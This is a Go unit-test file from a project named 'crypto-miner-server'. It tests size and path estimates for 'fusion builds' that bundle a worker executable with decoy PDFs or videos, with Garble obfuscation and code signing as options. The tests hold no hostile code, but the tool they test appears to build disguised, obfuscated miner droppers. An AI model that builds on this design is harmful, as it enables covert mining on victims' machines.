package builder import ( "path/filepath" "strings" "testing" "time" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" ) func TestEstimateFusionBuildTotals(t *testing.T) { h := &Handler{ dataDir: t.TempDir(), projectRoot: t.TempDir(), } req := &BuildRequest{ FusionEnabled: true, FusionOutputName: "MyApp.exe", OutputDir: "exports", Obfuscate: true, } got := h.estimateFusionBuild(req, "", 5*1024*1024, "MyApp.exe") if got.PrepBytes != 5*1024*1024 { t.Fatalf("prep bytes: got %d", got.PrepBytes) } if got.EstimatedTotalBytes <= got.PrepBytes { t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes) } if got.OutputFileName != "MyApp.exe" { t.Fatalf("output name: %s", got.OutputFileName) } if got.ExportPath == "" { t.Fatal("expected export path") } } func TestEstimateFusionBuildVideoPaired(t *testing.T) { h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()} req := &BuildRequest{ FusionEnabled: true, FusionPayloadKind: "video", FusionMediaMode: "paired", } got := h.estimateFusionBuild(req, "", 100*1024*1024, "movie.mkv") if got.EstimatedTotalBytes >= 100*1024*1024+defaultWorkerBytes { t.Fatalf("paired video should not add full prep to total: %d", got.EstimatedTotalBytes) } if got.ExportPath == "" { t.Fatal("expected export path for video") } } func TestEstimateFusionBuildVideoEmbedded(t *testing.T) { h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()} req := &BuildRequest{ FusionEnabled: true, FusionPayloadKind: "video", FusionMediaMode: "embedded", } prepSize := int64(50 * 1024 * 1024) got := h.estimateFusionBuild(req, "", prepSize, "movie.mkv") if got.EstimatedTotalBytes <= prepSize { t.Fatalf("embedded video total should include prep: %d", got.EstimatedTotalBytes) } } func TestEstimateFusionBuildGarbleNote(t *testing.T) { h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir(), policy: BuildPolicy{DefaultObfuscate: true}} req := &BuildRequest{FusionEnabled: true, Obfuscate: true} got := h.estimateFusionBuild(req, "", 1024, "prep.exe") found := false for _, n := range got.Notes { if strings.Contains(n, "Garble") { found = true break } } if !found { t.Fatal("expected garble note when obfuscate requested without garble path") } } func TestEstimateWorkerBytesDefault(t *testing.T) { h := &Handler{} if got := h.estimateWorkerBytes(); got != defaultWorkerBytes { t.Fatalf("default worker bytes: %d", got) } } func TestEstimateFusionBuildSignNote(t *testing.T) { h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()} req := &BuildRequest{FusionEnabled: true, SignBuild: true} got := h.estimateFusionBuild(req, "", 1024, "prep.exe") found := false for _, n := range got.Notes { if strings.Contains(n, "sign") || strings.Contains(n, "Sign") || strings.Contains(n, "certificate") { found = true break } } if !found { t.Fatal("expected signing note when SignBuild without cert configured") } } func TestEstimateFusionBuildDetectKindFromPrepPath(t *testing.T) { h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()} req := &BuildRequest{FusionEnabled: true} prep := filepath.Join(t.TempDir(), "payload.exe") got := h.estimateFusionBuild(req, prep, 1024, "payload.exe") if got.EstimatedTotalBytes <= 1024 { t.Fatalf("exe payload should add prep size: %d", got.EstimatedTotalBytes) } } func TestEstimateFusionBuildDefaultRunnerName(t *testing.T) { h := &Handler{dataDir: t.TempDir(), projectRoot: "."} req := &BuildRequest{FusionEnabled: true} got := h.estimateFusionBuild(req, "", 0, "quarterly.pdf") if got.OutputFileName == "" || !strings.HasSuffix(strings.ToLower(got.OutputFileName), ".exe") { t.Fatalf("expected default runner .exe name, got %q", got.OutputFileName) } } func TestEstimateFusionBuildOutputDirInvalid(t *testing.T) { h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()} req := &BuildRequest{FusionEnabled: true, OutputDir: "../escape"} got := h.estimateFusionBuild(req, "", 1024, "prep.exe") for _, n := range got.Notes { if strings.Contains(n, "Secondary export") { t.Fatal("invalid output_dir should not add secondary export note") } } } func TestEstimateFusionBuildOutputDirSecondary(t *testing.T) { root := t.TempDir() h := &Handler{dataDir: t.TempDir(), projectRoot: root} req := &BuildRequest{FusionEnabled: true, FusionPayloadKind: "file", OutputDir: "exports"} got := h.estimateFusionBuild(req, "", 1024, "prep.exe") found := false for _, n := range got.Notes { if strings.Contains(n, "Secondary export") { found = true break } } if !found { t.Fatal("expected secondary export note for valid output_dir") } } func TestEstimateFusionBuildNonVideoUsesOutputLabel(t *testing.T) { h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()} req := &BuildRequest{FusionEnabled: true, FusionOutputName: "CustomRunner.exe"} got := h.estimateFusionBuild(req, "", 1024, "prep.pdf") if !strings.Contains(got.ProjectRootPath, "CustomRunner") { t.Fatalf("project path should use output label: %q", got.ProjectRootPath) } } func TestEstimateWorkerBytesFromHistory(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() h := &Handler{db: database} buildPath := filepath.Join(t.TempDir(), "worker-test.exe") if err := database.InsertBuild(&models.BuildRecord{ ID: "b1", WorkerName: "pc", FilePath: buildPath, FileSize: 8 * 1024 * 1024, CreatedAt: time.Now(), }); err != nil { t.Fatal(err) } if got := h.estimateWorkerBytes(); got != 8*1024*1024 { t.Fatalf("expected average from history, got %d", got) } } func TestEstimateFusionBuildSignEnabledWithCert(t *testing.T) { h := &Handler{ dataDir: t.TempDir(), projectRoot: t.TempDir(), policy: BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "ABC123"}}, } req := &BuildRequest{FusionEnabled: true, SignBuild: true} got := h.estimateFusionBuild(req, "", 1024, "prep.exe") for _, n := range got.Notes { if strings.Contains(n, "certificate") || strings.Contains(n, "thumbprint") { t.Fatal("should not warn when cert thumbprint configured") } } if !got.SignBuild { t.Fatal("SignBuild should be true in response") } } func TestEstimateFusionBuildProjectRootResolved(t *testing.T) { h := &Handler{dataDir: t.TempDir(), projectRoot: "."} req := &BuildRequest{FusionEnabled: true} got := h.estimateFusionBuild(req, "", 0, "x.pdf") if got.ProjectRootPath == "" { t.Fatal("project root . should resolve to absolute path") } if !filepath.IsAbs(got.ProjectRootPath) { t.Fatalf("expected absolute project path: %q", got.ProjectRootPath) } }